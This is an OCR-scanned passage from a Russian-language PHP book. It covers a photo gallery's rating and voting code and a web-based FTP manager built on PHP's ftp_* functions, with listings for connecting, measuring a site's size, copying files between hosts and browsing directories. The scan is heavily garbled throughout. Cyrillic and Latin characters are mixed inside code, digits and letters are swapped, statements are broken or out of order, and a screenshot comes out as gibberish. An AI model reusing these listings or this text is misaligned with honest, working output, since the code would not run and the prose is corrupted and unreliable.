Гл а ва 20. Фотогалерея ><img src= ' dat aimg/rating_$ rating .gif ' align=cent er border=O alt='$rating ' stуlе= ' раddiпg-tор :1Орх ; '>< /div> <а hre f=# onclick=\ "show_img ('$photo [id_p osition] " $width_big, $height_big ); return false \" ><img src= ' $photo [ sma ll] ' width= '$width_small ' height= '$height_small ' alt=' $alt ' style=\ "border : lpx solid black\ " vspace=3></a> <div class=\ "gallery_txt \" align=\"center\ ">$name $countwa tch< /div>" ; // Голосование ?> <br><br><table border=O cellpadding=O cellspacing=O> <form id=addvo te name=addvo te me thod="post"> <tr> <td><input type=radio name=us er rating value=l></td> <td><input type=radio name=us er_rating value=2 ></td> 889 <td><input type=radio name=user_ra ting value=3 che cked></td> <td><input type=radio name=user_rating value=4></td> <td><input type= radio name=user rating value=5>< /td> - <td rowspan=2 va lign=top> <input type=submit class=in but ton va lue= "Ok" /></td> </tr> <tr class=main txt> <td align=center>l</td> <td align=center>2</td> <td align=center>3</td> <td align= cente r>4</td> <td align=center>5</td>< /tr>
890 <input type=hidden name=id�os ition Часть 11. Создание са йта value= "<?= $photo ['id�osition' ]; ?>"> </forrn> </table> <?php echo "</td>"; if ( ++$tr == $numpho to ) echo "</tr>"; $tr=О; if($tr != О) for ($i $tr; $i < $numphoto ; $i++ ) echo "<td align=center>&nbsp; </td>"; echo "</tr>"; echo "</table> "; echo "</div>"; require_опсе ( "temp lates /bottom. php " ) ; catch ( ExceptionМySQL $ехс ) require_once ("e xcepti on_my sql_debug .php " ); catch ( E�ceptionМyS QL $ехс ) require_once ( "exception_my sql_debug .php " ); catch ( ExceptionМember $ехс )
Глава 20. Фото галерея requi re_once ("excepti on_rnemb er_debug .php " ); ?> <script language= 'Java Script l.l' type= 'text /javascript '> < !-- function show_irng (id_pos ition, width ,height ) var а; var Ь; var url ; vidWindowWidth=width ; vidWindowHe ight=he ight ; а = (sс rееп . hеight-vidWiпdоwНе ight )/5 ; ь = (sс rееп . width-vidWiпdоwWidth )/2; features = "top=" + а + ",left=" + Ь + ",width=" + vidWindowWidth + ", height=" + vidWindowHe ight + ", toolbar=no , rnenubar=no ," + " i ocation=no ,directories=no ,scrollbars=no, " + "resizable=no" ; url = "show . php?idyosition= " + id_position; window .open (url , " ,features ,true ) ; //--> </script> 891 Фото графии извлекаются из табл ицы systern_photo_pos H ion ($tb l_photo_pos ition) и выводятся в цикле. При этом при формировании НТМL-таблицы с кол ичеством фотографий в ряду, равным значению $nurnphoto, испол ьзуется переменная $tr; если она принимает значение О, выводится открывающий тег <tr>, начинающий новый ряд. Как тол ько пере­ менная дости гает значения $nurnp hoto, выводится закрывающий тег </tr>, завершающий ряд. В рамках текущей сессии за каждую из фотограф ий можно прогол осовать тол ько один раз. Для этого испол ьзуется функция poll ( ), расположе нная в н ачале скрипта. Функция принимает два параметра: $id_p o sition - первич­ н ый ключ фотограф ии, за которую отдается гол ос, и $user_rating - кол и­ чество баллов (от 1 до 5). Функция увеличивает значения полей в табл ице
892 Часть 1/. Создание сайта system_photo_po sit ion ($tbl_phot o_po sition): pollnumbe r на ед иницу, а pollma rk - на $user_rat ing. Таким образом, раздел ив значение pol lma rk на pollnumbe r, всегда можно получить среднюю оценку, которая затем исполь­ зуется для формирования рейтинга. При голосовании значение первичного ключа $id_p o sition помещается в двумерный массив $_SESSION [ 'user_p oll_ id ' ], что обеспечивает защиту от повторного гол осо­ вания в рамках текущей сессии. ЗАМЕЧАНИЕ Такой способ защиты не спасает от накруто к при помощи специального ро­ бота и рассчитан лишь н а неиску шенного пользователя. Голосование в ИН­ те рнете очень сложн о защитить от накруток, разве что прибегнуть к регист­ рации пользовател ей и разрешать гол осовать только тем посетителям са йта , которые б ыли зарегистрированы не менее недели назад.
ГЛАВА 21 FТР-менеджер Протокол передачи файлов FTP (File Tran sfer Protocol) - один из старейших прикладных протоколов, появившийся задол го до Web в 1971 году . До нача­ ла 90-х годов на долю FTP приходилась половина трафика сети Интернет. Данный протокол и по сегодняшний день используется для распространения программного обеспечения и доступа к удаленным хостам , например, дл я обновления файлов на саЙте . В этой гл аве будет разработан Web-интерфейс, обеспечивающий доступ к файлам на сервере по протоколу FTP как с друго­ го удаленного сервера, так и с локального компьютера, на котором работает сервер Apache с поддержкой РНР. ЗАМЕЧАНИЕ Протокол FTP описан в документе RFC959, доступном по ссылке http://www.faqs.org/rfcs/rfc959.html. FТР-менеджер должен предоставлять следующие возможности : с] свободное перемещение по структуре FTP-сервера; С] предоставление информации о владел ьцах, группах, правах доступа к файлам и директориям; С] создание, переименование, удаление и изменение прав доступа к дирек­ ториям; С] загрузка на сервер и с сервера файлов, а также их переименование и из­ менение прав доступа на сервере. ЗАМЕЧАНИЕ На прила гаемом к книге компакт-диске можно найти готовые к использов а­ нию коды приводимого В данной гл аве FТР-менеджера. Загрузить послед-
894 Часть 11. Создание сайта нюю версию Web-приложения можно по адресу http://www.soft t ime.ru/ info/d ownloads.php. Помощь по установке, настройке, а также его моди­ фикации под свои задачи вы можете получить на форуме http://www.soft t ime.ru/forum/. 21.1 . Функции ДЛЯ работы с FTP-серверОМ Соединение с сервером устанавливается при помощи функци и ftp_connect (), имеющей следующий синтакс ис: resource ftp_connect ($ftp_s erve r [, $port [, $time out] ]) Функция принимает в качестве первого параметра $ftp_s erver адрес FTP­ сервера. Второй необязательный параметр $port может передавать номер порта, по которому необходимо установить соединение. По умолчанию со­ единение устанавливается стандартно, через порт 21. При помощи третьего параметра $tirne out можно указать время в секундах, в течение которого функция будет ожидать ответа от сервера. По умолчанию, если да нный пара­ метр не задан, функция ожидает ответ в течение 90 секунд. ЗА МЕЧА НИЕ При указании адреса $ ftp_s erve r не следует указывать префикс http:// или ftp:/I, поскольку помимо доменного имени в качестве параметра можно ис­ пользовать IР-адрес сервера. Зачастую доступ к локальному FTP-серве ру осуществляется именно по IР-адресу, отличному от того, который исполь­ зуется для Web-сервера, поэтому если установить соединение не удается, следует уточнить адрес $ftp_s erver у службы технической поддержки сервера. в случае есл и установить соединение не удалось, функция возвращает false. При успешном соединении с FTP-сервером функция возвращает дескриптор соединения, который далее испол ьзуется для работы с FTP-сервером. После установки соединения с FTP-сервером осуществляется регистрация пользователя при помощи функции ftp_login (), имеющей следующий син­ такс ис: bool ftp_l ogin ($ftp_handle, $ftp_us er, $ftp_pa ssword ) Функция принимает три параметра: дескриптор пото ка $ftp_handle, возвра­ щаемый функцией ftp_c onnect (), имя пользователя $ftp_user И его парол ь
Глава 21. FТР-менеджер 895 $ ftp_pas sword. В случае успешной регистраци и на FTP-сервере функция в озвращает true, В проти вном случае - fa lse. Закрыть FТР-соединение можно при помощи функции ftp_close (), которая и меет следующий синтакс ис: vo id ftp_close ($ftp_handle ) В качестве единственного аргумента $ftp_handle функция принимает деск­ риптор открытого FТР-соеди нения. В листи нге 21.1 представлен скрипт, осуществляющий FТР-соединение с удаленным сервером . ЗА МЕЧАНИЕ Если осуществляется доступ к анонимному публичному FTP-серверу, то в качестве имени польз ователя можно ввести "anonymous" , а в качестве па­ роля - адрес электронной почты . Л истин г 21.1 . Соеди нен ие с FTP-сераером , ftp_connect.php <?php ?> // имя поль зователя $ftp_user = "пате"; // Пароль $ftpyassword = "pas sword" ; // Сервер $ftp_s erver = "ftp . serve r .ru" ; // Устанавливаем время исполнения скрипта 120 с @set_time_l irnit (120) ; // Устанавливаем соединение с FТP-cepBepoM $ftp_handle = ftp_connect ($host ); if (!$ ftp_handl e) ехit ( "Невозможно установить соединение с FТP-cepBepoM" ); if (!@ ftp_login ($ftp_handl e, $ftp_us er, $ftpyasswo rd) ) ( ехit ("ОIШ1бка авторизации на FТP-cepBepe") ;
896 Часть 11. Создание са йта Для установки соединения в переменные $ftp server, $ftp_user И $ftp_password необходимо поместить адрес РТР-сервера, имя пользователя и его парол ь соответственно. ЗА МЕЧА НИЕ Для дальнейшей работы с протокол ом FTP код из листи нга 21.1 удобно по­ местить в отдел ьный файл config/ftp_co nnect.php, кото рый далее следует подключать ко всем скриптам при помощи инструкци и requi re_once (), чтоб ы не переписывать код установки соединения в каждом скрипте . в табл . 21.1 приводится список наиболее часто испол ьзуе мых функц ий, ко­ то рые применяются для работы с РТР-сервером. ЗА МЕЧА НИЕ С полным списком функций можно ознакомиться в официальном руковод­ стве по РНР. М ногие функции являются специфическими и зависят от реа­ лизации ко н кретного FTP-сервера. В табл . 21 .1 приводятся наибол ее распространенные функци и, которые поддерживаются подавляющим большинством серверов. Та блица 21. 1. Функции для работы с F ТР-сервером Фун кция Описа ние ftp_cdup ($ftp_handle ) Осуществляет переход к родител ьской директории ftp_chdir Осуществляет переход в директорию, указанную ($ftp_h andle , В параметре $directory $directory ) ftp_chrnod Устанавливает файлу $filename права доступа ($ftp_handle, $mode , $mode $filename ) ftp_close ($ftp_handle ) Закрывает соединение с FTP-серверОМ ftp_c onnect Устанавливает соединение с FTP-серверО М ($ftp_s erve r [, $port $ftp_s erve r через порт $port (есл и не указано, [, $timeout] ] ) используется 21 порт) и ожидает ответа в тече- ние $time out (есл и не указано, соединение ус- та навливается в те чение 90 секунд)
Гла ва 21. FТР-менеджер 897 Таблица 21.1 (продолжение) Фун кция О писа ние ftp_de lete Удаляет файл $filename ($ftp_handle , $ filename ) ftp_exec ($ftp_handle , Выполняет команду $comma nd на FTP-сервере. $command ) Функция позволяет выполнять специфические ко манды FTP-сервера, для которых не преду- смотрены специальные функции ftp_fget ($ft p_handle , Скачивает с сервера файл $remo te_file И со- $handle, $remote_file, храняет его в пред варител ьно открытом файле $mode) с дескриптором $handl e. Режи м $mode может принимать два значения: FT P_ASCI 1 - для текстовых файлов или FT Р_ВINARУ - для бинарных файлов ftp_fput ($ftp_handle , Загружает на сервер пред варител ьно открытый $remo te_file, $handl e, файл с дескр иптором $handle. Файл размещает- $mode ) ся по пути $remo te_file. Режим $mode может принимать два значения: FT P_AS CII - для тек- сто вых файлов или FT P_BINARY - для бинарных файлов ftp_get ($ftp_h andle , Скачивает с сервера файл $remo te_f ile И со- $local file, $re- храняет его содержи мое в локал ьном файле mo te_fI le, $mode ) $local file. Режи м $mode может принимать два значения: FT P AS CII - для текстовых файлов или FТ Р_В INАRУ-ДЛ Я бинарных файлов ftp_login Осуществляет вход на сервер с именем ($ftp_handle, $ftp_name И паролем $ftp_pas sword $ft p_name , $ftpyassword ) ftp_mdtm ($ftp_handle, Возвращает время последней модификации $remote_ file ) файла $remote_file ftp_mkdir Создает директорию с именем $directory ($ftp_handle , $directory) ftp_nb_c ontinue Функция, используемая совместно с функциями ($ftp_handle) ftp_nb_fget (), ftp_nb_ fput (), ftp_nb_g et () И ftp_nb_put (), которые, в свою очередь, ис- пользуются для асинхронного режи ма передачи файлов
898 Часть 11. Создание сайта Таблица 21. 1 (пр одолжение) Функция О писа ние ftp_nb_fget Скачивает с сервера файл $remote_file И со- ($ftp_handle, $handle, храняет его в предварител ьно открытом файле с $remo te_ file, $mode ) дескриптором $handle. Режим $mode может при- нимать два значения: FT P_AS CII - для тексто- вых файлов или FTP_B I NARY - для бинарных файлов ftp_nb_fput Загружает на сервер предварител ьно открытый ($ftp_h andle, файл с дескриптором $handle. Ф айл размещает- $remo te_ file, $handle, ся по пути $remo te_ file. Режим $mode может $mode ) принимать два значения: FT P_AS CI1 - дл я тек- стовых файлов или FT P_B I NARY - для бинарных файлов ftp_nb_get Скачивает с сервера файл $remote_file и со- ($ftp_handle, храняет его содержи мое в локальном файле $local_file , $local file. Режим $mode может принимать два $remo te_file , $mode ) значения: FT P_AS CII - для тексто вых файлов или FT P_В I NARY - для бинарных файлов ftp_nb_put Загружает на сервер файл $local_ file и сохра- ($ftp_handle , няет его под именем $remo te_file. Режим $remo te_file, $mode может принимать два значения: $local file, $mode ) - FT P_AS CII - для текстовых файлов или FT P_BINARY - дл я бинарных файлов ftp_nlist Возвращает список файлов в директории ($ftp_handle, $directory $directory) ftp_pasv ($ftp_h andle , Есл и параметр $pasv принимает значение true , $pasv) передача данных осуществляется в пассивном режиме, иначе действует активный режим ftp_put ($ftp_h andle , Загружает на сервер файл $local_file И сохра- $remo te file , няет его под именем $remote_file. Режим $local file, $mode ) - $mode может принимать два значения: FTP ASCII - для текстовых файлов или FT P=ВINARY - для бинарных файлов ftp_pwd ($ftp_handle ) Возвращает путь к текущей директории ftp_raw ($ftp_handle , Отправляет FTP-серверу произвольную ко манду $command) $command, допускаемую FТР-протоколом
Глава 21. FТР-менеджер 899 Таблица 21. 1 (окончание) Функция Описание ftp_rawlist Отправляет FTP-серверу команду LIST, кото рая ($ftp_handle, возвращает содержи мое директории $directory [, $directory. Если параметр $recursive прини- $recurs ive ] ) мает значение true, серверу отправляется ко манда LI ST - R, которая требует рекурсивного спуска по поддиректориям и вывода их содержи- мого ftp_rename Переименовывает файл или директорию ($ftp_handle, $oldname в $newname $oldname , $newname ) ftp_rmdi r Удаляет директорию $di rectory, есл и она не ($ftp_handle, содержит вложенных директорий и файлов $directory ) ftp_s ite $command ) ($ftp_handle, Отправляет ко манду $ comma nd на FTP-сервер ftp_s ize ($ftp_handle, Возвращает размер файла $remo te_file $remote_ file ) в байтах ftp_s ystype Возвращает тип операционной системы, под ($ftp_handl e) управлением которой работает сервер Перед тем как приступить к созданию FТР-менеджера, рассмотрим два не­ больших Web-приложения, демонстрирующих работу FTP-ФункциЙ. 21.1 .1 . Какой объем жесткого диска занимает сайт? Для подсчета объема памяти, зан имаемой сайтом на жестком диске при по­ мощи РТР, удобно, установив соединение, рекурсивно спуститься по всем подкаталогам сайта, подсчитывая объем встречающихся файлов. Для рекур­ сивного спуска создадим функцию get_ftp_s ize (), которая будет принимать три параметра: С] $ ftp_handle - дескриптор FТР-соединения; С] $dir - текущий каталог; С] $global_size - текущий размер файлов на РТР-сервере.
900 Часть 11. Создание сайта в листинге 21.2 представлена возможная реализация функции get_ftp_s ize (). Листинг 21 .2 . Функция рекурсивного обхода FTP-сервера <?php // ФУНКЦИЯ , подсчитывающа я количество байтов , занимаемых каталогом $ di r function get_ftp_size ($ftp_handle, $dir, $global_s ize = О) $fi le_list = ftp_rawlist ($ftp_handle , $dir) ; if (!empty ($file_l i st) ) foreach ($file_list аз $file ) // Разбиваем СТРОКУ по пробельным симв олам list ($асс, $bloks , $group , $user, $size, $rnonth, $day, $year, $file) preg_spl it ("/ [\з]+ / ", $file) ; if ($асс [О] 'd' && $file != " " &&$file!=".") // Если перед нами каталог, рекурсивно вызываем // ДЛЯ него ФУНКЦИЮ get_ftp_size () $di r_new = trirn( $dir. "/" .$file, "/") ; $global_s ize else get_ftp_s ize ($ftp_handl e, $dir_n ew, $global_size) ; // Если перед нами файл , учитываем его объем $global_s ize += $size;
Гл а ва 21. FТР-менеджер 901 return $global_size; ?> Дл я подсчета объема РТР-сервера достаточно вызвать функцию g et_ftp_s ize (), передав ей дескриптор открытого FТР-соединения и имя каталога на сервере. В листи нге 21 . 3 выводится размер всех файлов на РТР­ се рвере (так как указывается ко рень /), однако функция позволяет узнать размер произвольного катал ога, если указать путь к нему во вто ром параметре. листи нг 21 .3 . Использование функции ge t_ftp_size () <?php ?> // Устанавливаем соединение с FТP-cepBepoM requi re_опсе ( " config/ ftp_con fig . php" ) ; // Выводим размер файлов на FT P- сервере echo get_ftp_size ($ftp_handle , "/") ; 21 .1 .2. П еренос сайта с одного хоста на другой Для перемещения файлов с одного хоста на другой потребуется одновремен­ но открыть два соеди нения : $ftp_handl e_t o - дескриптор РТР-сервера, на кото рый переносятся файлы, и $ftp_handl e_from - дескриптор РТР­ сервера, с которого файлы перемещаются . В листинге 21.4 приводится функ­ ция copy_ftp_l ist (), которая переносит файл ы с одного сервера из папки $path_from на друго й сервер в папку $path_to. Ли-стинг 21 .4. П&ренос файлов с одного сервера на другой <?php function copy_ftp_l ist ($p ath_f rom, $path_to, $ftp_handle_to, $ftp_handle_from)
902 Часть 11. Создание сайта II $list_form = ftp_rawl ist ($ftp_handle_from, $path_from) ; foreach ($list_form as $file) II Разбиваем строку по пробельным симв олам list ( $acc , $bloks , $group , $user, $size, $month, $day, $ye ar, $filename ) = preg_split ("/ [\s]+I ", $file) ; if ($filename != && $filename ! = " ..") if ( $acc [Q] 'd') $next_dir_t o = $path_to ."I ".$f ilename ; $next_d ir_t o = preg_replace (" I /+ I ", " I " ,$next_dir_to ); @ftp_mkdi r($ ftp_handle_to, $next_dir_to) ; ftp_chmod ($ftp_handle_to, getchmod (subs tr ( $acc, 1) ), $next_di r_to) ; II Копируем данные $ne xt_di r_from = $path_from . " I ".$f ilename ; $next_di r_from = preg_replace (" I /+ I ", " I " ; $next_dir_from) ; copy_ftp_l ist ($next_dir_from, else $next_dir_to, $ftp_handle_t o, $ftp_handle_from) ; $file_from = $path_from. " I ".$filename; $file_from = preg_replace ("I /+ I ", " I ",$f ile_from) ; $mk_file_t o $path_to . " 1 ".$dirname . " 1 ".$fi lename ; $mk_file_t o = preg_replace (" I /+ I ", " I ", $mk_file_to );
Гла ва 21. FТР-менеджер 903 ?> echo str_repeat ("I", $lev ) . "--Копирование файла <b>$rnk_fi1e_to</b> ..." ; flush () ; if (ftp_get ($ftpjland1 e_frorn, "tf . П", $file_frorn, FТP_BINARY ) && ftpyut ($ftp_hand1e_to, $rnk_fi1e_to ,"tf . fl ", FТP_BINARY ) && ftp_chrnod ($ftp_hand 1e_to, getchrnod (subs tr ($acc , 1) ), $rnk_f ile_to ) && unlink ("tf.fl") ) echo "OK<br> " ; е1эе echo "ERROR<br>"; Файлы последовател ьно загружаются с сервера-источника во временный файл tf.fl, из которого затем перемещаются на сервер-приемник. После пере­ носа очередного файла временный файл tf.fl уничтожается . Для ко пирования прав доступа используется вспомогател ьная функция getchrnod ( ), которая преобразует строковое представление прав доступа в восьмеричное число (л истинг 21.5). Листинг 21.5. Вс помогател ьная ФУНКЦИЯ <?php function getchrnod ($perrn) $chrnod = О; if($perrn [O] "r") $chrnod = $chrnod+ 0400; if ($perrn [l] "w" ) $chrnod = $chrnod+0200; if ($perrn [2] "х") $chrnod = $chrnod+ 0100 ; if ($реrrn [З) "r") $chrnod = $chrnod+0040; if($perrn [ 4] "w" ) $chrnod = $chrnod+ 0020; if ($perrn [5] " х" ) $chrnod = $chrnod+ 0010;
904 Часть 11. Создание са йта if ($реnn [б] "r") $chmod = $chmod+ OOO4 ; if ($реnn [7] "w" ) $chmod = $chmod+ OOO2 ; if ($реnn [8] "х" ) $chmod = $chmod+ OOO1; return $chmo d; ?> в листинге 21.6 приводится пример использования функции copy_ftp_l ist (). Листинг 21 .6. Перенос файлов с од ного хоста на другой <?php ?> // Подключаем вспомогатель ные файлы require_o nce ("fиn ction . copy_ftp_list .php " ); // Сервер назначения $ftp_handle_t o = ftp_connect ("ХХ Х .ХХ Х .ХХ Х .ХХ Х "); if (!$ ftp_handle_to) { exit (" ОIIlИбка соединения с FТP- cepBepOM назначения") ; // Сервер-источник $ftp_handle_frorn = ftp_connect ("XX X .XX X .XX X .XX X "); if (!$ ftp_handle_frorn) { exit (" ОIIlИбка соединения с FТP-cepBepOM источника" ) ; // Копируем файлы с одного сервера на другой copy_ftp_list ("/", "/", $ftp_handle_to, $ftp_handle_f rorn) ; 21 .2. FТР -менеджер Web-приложение будет состоять из восьми файлов (не считая файла ftp_config.php, который подробно рассматр ивался в разделе 21. 1): С] chdirform.php - НТМL-форма для переименования директорий и изме­ нения прав доступа к ним;
Гл а ва 21. FТР-менеджер о cl1dir.php - обработчик форм ы chdirform. php; О dowl1 1oad . pl1p - скрипт загрузки файла с FTP-сервера; 905 О il1dex.pl1p - главный файл, который несет ответственность за отображе- ние содержимого директо рий, расположе нных на FTP-сервере; О mkd ir.pl1p - скрипт, создающий новую директорию; О пndir.рl1Р - скрипт, удаляющий директорию; О rmfi le.pl1p - скрипт, удаляющий файл; О upload .php - скрипт загрузки файла на FTP-сервер. Кро ме приведе нных в списке файлов, для работы FТР-менеджера потребует­ ся директория filез, В которой будут размещаться временные файл ы, полу­ ченн ые от FTP-сервера и предназначенные дл я дальнейшей передач и по НТТР-протоколу. � IW шu... � Ш1I:Ш Ш �xmR�.�1.it F<JчnornР Р['J\'!(\!IЩ кщ)й�'ыа е 1·1;!:t� Qчitl,11Jа �"Ii�Щl �� ПОЛРi28iиm1 рИт Пан&ль доступа • F'ТP�epeepy ПtlиеJМ.,ф)(:tУnd l( fТР.tе� flМDJ)меrj:&�1ь на:tе�рфtl:AflЫ:I. С()wvaУt. j(Оt<tliOt)еsjКШё'fOfО. ДOnYtк.\Qrcn��n..УД��ltЗШ"onьnpaеаАot tYti3 I(рЮ(; ;ущt-e I�)QI.ф�W\.I.1I .мдuPUкro os \Q1L ,g, НClЯ 1,5:3' Т.l lilшn. i�I IС!.Й}S,о ом· 'ш.0 r.��___� ·rw·,--{- 1522 19 Ноо '5:3' фам:I ,!� � I �;н:. . :I I I :::.,р:р:J7:р:ГГr;ГГ �:;. . : РрРРгрргр 8'"Iф4 1;", ,"' 8 Рис. 21 .1 . Гл авная ст раница FТР-менеджера
906 Часть 11. Создание сайта Файл index.pl1p является гл авным файлом Web-приложения; он несет ответ­ ственность за отображение содержимого выбранного каталога на FTP­ сервере. Внешний вид гл авной страницы представлен на рис. 21.1 . Содержи­ мое текущего каталога выводится в виде табл ицы, каждая строка которой соответствует отдел ьному файлу ил и директории. В ячейках табл ицы раз ме­ щена информация о правах доступа, кол ичестве блоков, занимаемых файл о м, владельце и группе, которым принадлежит файл или директория, время соз­ дания, название файла ил и директории. Для файла таюке выводится его раз­ мер в байтах. Кроме этой информации напротив каждого из файлов ил и директорий и ме­ ются две управл яющие ссылки : Удалить и Редактировать, позвОляющи е удалить директо рию или файл и изменить их названия и права доступа соот­ ветственно. Названия файлов и директорий являются гиперссылками. Переход по ссыл ке с названием директории открывает страницу с ее содержимым (как это про­ демонстрировано на рис. 21 .1); переход по ссылке с названием файла приВО­ дит к загрузке данного файла с FTP-сервера на кл иентскую машину. ЗА МЕЧА НИЕ И нформация, возвращаемая функцией ftp_rawli5t () , предоста вляется в формате UNIХ-утилиты 15 с кл ючом -1. Данная утилита возвращает со­ держимое текущего каталога в расширенном формате . Начальная подстрока вида " drwx------ " содержит 1 О символов и определяет тип файла и права доступа к нему. Первый символ характеризует тип файла: С] - - обычный файл; С] d - каталог; С] 1 - символ ическая ссылка; С] 5 -сокет; С] р - именованный канал. На практике при работе с FTP встречаются тол ько первые два вида файлов : катал оги и обычные файлы. Оставшиеся девять символов определяют режим доступа к файлу ил и катало­ гу. При этом подстрока разбивается на три группы по три символа каждая : С] права владельца файла;
Глава 21. FТР-менеджер о права группы владел ьца; О права остальных пользователей. В рамках каждой из этих трех груп п существует тр и вида разрешений: О r - право чтения данного файла; О w - право записи/изменения данного файла; 907 О х - право выполнения данного файла, если он является скриптом ил и програм мой (для катал огов - право его просмотра). Таким образом, стр ока " -rw - r--r -- " означает, что для владел ьца файла уста­ н овлено право чтения и записи, а дл я пользователей, входящих в группу вла­ дельца файлов, и всех остал ьных пользователей установлено тол ько право чте ния. Строка " drwxr-xr -x " указывает, что к данному каталогу для владел ь­ ца установлены все права: чтения, записи и просмотра, а для всех остал ьных пользовател ей - тол ько чтения и просмотра. Код файла index.php представл ен в листинге 21 .7 . В конце листинга приведе­ ны две НТМL-формы, позволяющие загрузить файл в текущую директорию и создать новый катал ог. Листинг 21.7 . Гл авная стра ница FТР-менеджера , index.php <?php // Данные переменные определяют название страницы и подсказку $title = 'Панель доступ к FТP-cepBepy '; $pageinfo = '<р сlаss=hеlр>Панель доступа к FТP-cepBepy позволяет загружать на сервер файлы и создавать каталоги ; кроме этого , допускается переименовывать , удалять, изменять права доступа к уже суще ствующим файлам и директориям. </р>' ; // Устанавливаем соединение с базой данных require_once (" . ./ ../config/config .php " ); // Подключаем блок авторизаци и require_once (" . ./utils/sесuritУ_Ш Оd .рhр "} ; // Включаем заголовок страницы require_o nce (" ../utils/top .php" } ; // Устанавливаем соединение с FТP-cepBepOM require_once (" ../ . . /config/ftp_connect .php "} ;
908 Часть 11. Создание сайта if (emp ty ( $_GET ['dir ' ])) $directory else $di rectory $_GET ['dir' ]; 11 /"; $file_l ist = ftp_rawlist ($ftp_handle , $directory) ; if (!emp ty ($file_list)) II Выводим ссылки на предыдущие каталоги $_GET ['di r' ] = rtrim ( $_GET ['di r' ],"I ") ; $prev = explode ("I", $_GET ['dir ' ]); if ( !empty ($prev ) ) ?> $prev_path = ""; $link = array () ; for($i = О; $i < count($prev); $i++) $prev_pach . = "1" . $prev [$i] ; $prev_pach = str_replace ("II", "I", $p rev_pach ) ; if(!empty($prev [$i]) ) { $link [] = "<а href=index .php ?dir=" . urlencode ($prevyach ) . ">" . $prev [$i] . "</a>"; else $link [] "<а href=index .php ?dir=" . urlencode ( $prevyach ) . ">Корневая директория< /а>" ; echo "<р class=help> ".implode ("-&gt; " ,$link) . "</p>"; echo "<br>"; <table width="100%" class="table " border="O" cellpadding="O" cellspacing="O">
Глава 21. FТР -менеджер <tr class="header" align="center"> <td> &nbsp ;</ td> <td аligп=сепtеr>права доступа</td> <td аligп=сепtеr>размер , байты< /td> <td аligп=сепtеr>время создания< /td> <td align=center соlsрап=2 >действия</td> </tr> <?php $i=О; $dir array () ; $fil array () ; foreach ($file_list as $file_s ingle ) // Разбиваем строку по пробель ным символам list ($асс, $bloks , $group , $user, $size, $rnonth, $day, $year, $file ) preg_s plit ("/[\s] +/ ", $file_single) ; if ($file " 11 $file $eng array ("Jan" , "Feb" , "Jul" , "Aug", $rus аrrау ("Янв", "Фев ", "Июл", "Авг", $rnonth str_replace ($eng , ".") cont inue ; "Marlf , "Apr", "Мау" , "Jun" , "Sep" , "Oct", "Nov" , "Dec" ); "Мар" , "Апр", "Май" , "Июн", " Сен", "Окт", 1fНоя"I "Дек") ; $rus , $rnonth ) ; $url = urlencode (str_replace ("//", "/", $directory. "/" . $file ) ); if($acc[O] == 'd') // ДИр ектория $dir [$i] ['а сс '] $dir [$i] ['bloks'] $dir [$i] ['g roup' ] $асс ; $bloks ; $group ; 909
910 $dir [$i] ['user' ] $dir [$i] ['size ' ] $dir [$i] ['month' ] $dir [$i] ['day '] $dir [$i] ['year'] $dir [$i] ['file' ] $useri $sizei $monthi $daY i $ye ari Часть 11. Создание са йта "<Ь><а hre f= index .php ?dir=$url titlе= ' Открыть директорИЮ '>$ filе</а></Ь> "i $dir [$i] ['de lete ' ] "<р><а href=# onCl ick=\"delete_d ir ('rmdir . php?dir=$url ', ". 'Вы действитель но хотите удалить\nэту директорию? ''') i\' ' >Удалить</а></Р>"i $dir [$i] ['e dit '] "<р><а hre f=chdirform. php?dir=$url &acc=$acc $dir [$i] [ 'size ' ] else // Файл $fil [$i] ['а сс '] $fil [$i] ['b loks'] $fil [$i] ['g roup' ] $fil [$i] ['user' ] $fil [$i] [ 'size ' ] $fil [$i] ['month' ] $fil [$i] ['day '] $fil [$i] [ 'year ' ] $fil [$i] ['f ile' ] >Редактировать </а></Р>"i "&lt i D1R&gti "i $асс ; $bloks i $grouP i $useri $sizei $monthi $daY i $year i "<а href=download .php ?dir=$url titlе= ' Загрузить фаЙЛ'>$filе</а>"i $fil [$i] [ 'delete '] = "<р><а hre f=# onClick=\"return delete_file('rmf ile . php?dir=$url ',". 'Вы действитель но хотите удалить \n,этот файл ? ''') i \" >Удалить </а></Р>"i $fil [$i] ['edit ' ] "<р><а $i++ i hre f=chdi rform. php?di r=$url&acc=$acc&file=file >Редактировать </а></Р> "i
глава 21. FТР-менеджер ?> / / Выводим директории foreach ($dir as $пате ) } echo "<tr> <td align= right>$name [file ] </td> <td align= center>$name [acc ] </td> <td align=center>$name [size] </td> <td align=center>$name [day] &nbsp ; &nbsp; $name [month ]&nbsp ;&nbsp; $name [year] </td> <td align=center>$name [delete ]</td> <td align=center>$name [edit ] </td> </tr>" ; / / Выводим файлы foreach ($fil as $пате ) echo "<tr> <td align=right >$name [file ] </td> <td align=center>$name [acc] </td> <td align=center>$name [size] </td> <td align=center>$name [day] &nbsp ; �nbsp ; $name [month ]&nbsp; &nbsp; $пате [year] </td> <td align=center>$name [delete ]</td> <td align=center>$name [edit] </td> </tr>" ; echo "</table><br><br> "; <table><tr><td> <?php ftp_c lose ($ftp handle ); // Загруз ка файла на сервер $action "upload . php " ; $button = "Загрузить "; 911
912 // Пр ава доступа по умолчанию // ДЛЯ пользователя $ur "checked" ; $uw "checked" ; $их "". ; // Права доступа по умо лчанию // $gr $gw для группы "checked" ; "11. , $gx ""; // Пр ава доступа по умолчанию Часть 11. Создание сайmа // для остальных пользователей , не входящих в группу $or $ow $ох "checked" ; "" ., ""; $ur_h int = 'Чтение файлов директории для владельца '; $uw_hint = 'Создание и редактирование файлов в директории ДЛЯ владельца '; $ux_hint $gr_h int $gw_h int $gx_hint $or hint 'Чтение содержимо го директ ории ДЛЯ владельца '; 'Чтение файлов директории ДЛЯ группы '; 'Создание и редактирование файлов в директории ДЛЯ группы '; 'Чтение содержимо го директории ДЛЯ группы '; 'Чтение файлов директории ДЛЯ поль зователей , не входящих в группу владельца '; $ow_h int = 'Создание и редактирование файлов в директории ДЛЯ поль зователей , не входящих в группу владельца '; $ox_hint = 'Чтение содержимо го директории ДЛЯ поль зователей , не входящих в группу владель ца '; ?> <form enctype= 'multipart/form-data ' action= <?php echo htmlspecialchars ($action) ; ?> method=post> <table> <tr> <td сlаss=fiеld>Файл :</td> <td><input type=file пате=пате value= " ></td> </tr> <tr> <td сlаss=fiеld>Права доступа :</td>
